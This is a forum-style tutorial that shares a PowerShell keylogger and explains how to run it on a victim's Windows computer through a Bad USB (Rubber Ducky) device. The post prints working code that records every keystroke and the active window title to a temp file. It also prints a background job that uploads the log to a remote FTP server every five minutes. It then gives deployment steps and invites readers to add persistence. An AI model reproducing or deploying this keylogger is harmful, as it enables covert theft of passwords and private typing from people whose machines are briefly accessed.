Hey Mates!
As promised I share a Powershell Keylogger with you, which can be used together with our Bad USB to be installed within just some seconds of physical access .
This keylogger is not completly written by me! I used several ones on the internet and modified them to fit my needs . The original ones can be found here:
I never worked with Powershell before and haven’t read any tutorials on it, but the language is that easy, that I could understand and modify the script without any problems! I think that’s the real beauty of this language .
Powershell
Before we dive into the code I should give you a small introduction to the language we’re using.
Powershell is an attempt of Microsoft to connect the main characteristics of the Unix-Shell with object-oriented languages. It has two great advantages:
- Very easy, due to the ridiculous simple syntax
- Integrated into Windows since Vista
These are the reasons, why it can be used as a great Post-exploitation framework, although it isn’t made for it . We can use it perfectly for the Rubber Ducky, because it has a shell for typing in commands directly through the keyboard and it supports powerful scripts.
Keylogger Script
Here I’ll explain my script to you, so that you can understand it without the knowledge of programming languages. I won’t cover the basics of Powershell scripting here, because they aren’t necessary for using it, but if you’re interested in some tutorials on it, so that you can write your own powerful scripts, just ask in the comments .
The Setup
I won’t talk about the first lines in detail, because that would go beyond the scope of this tutorial. You just have to know that they set up the keycodes and import the required DLLs.
We directly jump to line 157, because here begins the real action .
The Main Routine
while ($true) {
Start-Sleep -Milliseconds 40
$gotit = ""
for ($char = 1; $char -le 254; $char++) {
$vkey = $char
$gotit = $getKeyState::GetAsyncKeyState($vkey)
if ($gotit -eq -32767) {
$EnterKey = $getKeyState::GetAsyncKeyState(13)
$TabKey = $getKeyState::GetAsyncKeyState(9)
$DeleteKey = $getKeyState::GetAsyncKeyState(46)
$BackSpaceKey = $getKeyState::GetAsyncKeyState(8)
$LeftArrow = $getKeyState::GetAsyncKeyState(37)
$UpArrow = $getKeyState::GetAsyncKeyState(38)
$RightArrow = $getKeyState::GetAsyncKeyState(39)
$DownArrow = $getKeyState::GetAsyncKeyState(40)
$caps_lock = [console]::CapsLock
$scancode = $getKey::MapVirtualKey($vkey, $MAPVK_VSC_TO_VK_EX)
$kbstate = New-Object Byte[] 256
$checkkbstate = $getKBState::GetKeyboardState($kbstate)
...
This first part gets the current pressed keys and tests them for special keys.
$TopWindow = $getForeground::GetForegroundWindow()
$WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle
$LogOutput = "`"" + $WindowTitle + "`"`t`t`t"
$mychar = New-Object -TypeName "System.Text.StringBuilder";
$unicode_res = $getUnicode::ToUnicode($vkey, $scancode, $kbstate, $mychar, $mychar.Capacity, 0)
$LogOutput += $mychar.ToString();
if ($EnterKey) {$LogOutput += '[ENTER]'}
if ($TabKey) {$LogOutput += '[Tab]'}
if ($DeleteKey) {$LogOutput += '[Delete]'}
if ($BackSpaceKey) {$LogOutput += '[Backspace]'}
if ($LeftArrow) {$LogOutput += '[Left Arrow]'}
if ($RightArrow) {$LogOutput += '[Right Arrow]'}
if ($UpArrow) {$LogOutput += '[Up Arrow]'}
if ($DownArrow) {$LogOutput += '[Down Arrow]'}
$TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
$LogOutput += "`t`t`t`t`t" + $TimeStamp
if ($unicode_res -gt 0) {
$logfile = "$env:temp\key.log"
$LogOutput | Out-File -FilePath $logfile -Append
}
Then the current active window is checked and added to the LogOutput-string. Also all pressed special keys and chars are added to the string. Finally a timestamp is appended and the string is written to %TEMP%\key.log
.
Start-Job {
# Config
$Username = "YourUsername"
$Password = "YourPassword"
$LocalFile = "$env:temp\key.log"
$RemoteFile = "ftp://example.net/Log.txt"
$SleepTime = 300
while (1 -eq 1)
{
# Sleep for specified time
Start-Sleep -Seconds $SleepTime
# Create FTP Rquest Object
$FTPRequest = [System.Net.FtpWebRequest]::Create("$RemoteFile")
$FTPRequest = [System.Net.FtpWebRequest]$FTPRequest
$FTPRequest.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile
$FTPRequest.Credentials = new-object System.Net.NetworkCredential($Username, $Password)
$FTPRequest.UseBinary = $true
$FTPRequest.UsePassive = $true
# Read the File for Upload
$FileContent = gc -en byte $LocalFile
$FTPRequest.ContentLength = $FileContent.Length
# Get Stream Request by bytes
$Run = $FTPRequest.GetRequestStream()
$Run.Write($FileContent, 0, $FileContent.Length)
# Cleanup
$Run.Close()
$Run.Dispose()
}
}
In the last part a background job is started, which sends the file every 5 mins to the specified FTP-Server.
Hold in mind that this keylogger is not persistent! After a reboot it won’t run again without further implementation.
The Full Script
Here’s the full script, so that it’s easier to copy it .
How To Combine It With The Rubber Ducky
First you’ll have to setup some required stuff to get things working.
Get A Server
We’ll need a server for hosting the keylogger and writing the log to. I recommend to use a free one, e.g. bplaced.net. I won’t cover how to set it up, because that’s as easy as creating an account .
Of course you can set up your own one on your computer, but hold in mind that it can be easily spotted in the code of the keylogger.
When you’re finished, upload the keylogger to the server.
DuckyScript
Now change the server in the DuckyScript to your new one and install the script on your Bad USB.
Step-by-Step Tutorial
Here’s my step-by-step tutorial on how to use your Rubber Ducky now for running the keylogger on your victims computer.
Step 1: Plug in the Rubber Ducky
Step 2: Feel 1337
Conclusion
With some simple scripting we can build our own keylogger, which can be easily run from our Bad USB.
If you like to you can add persistence to the keylogger. That shouldn’t be too hard .
|-TheDoctor-|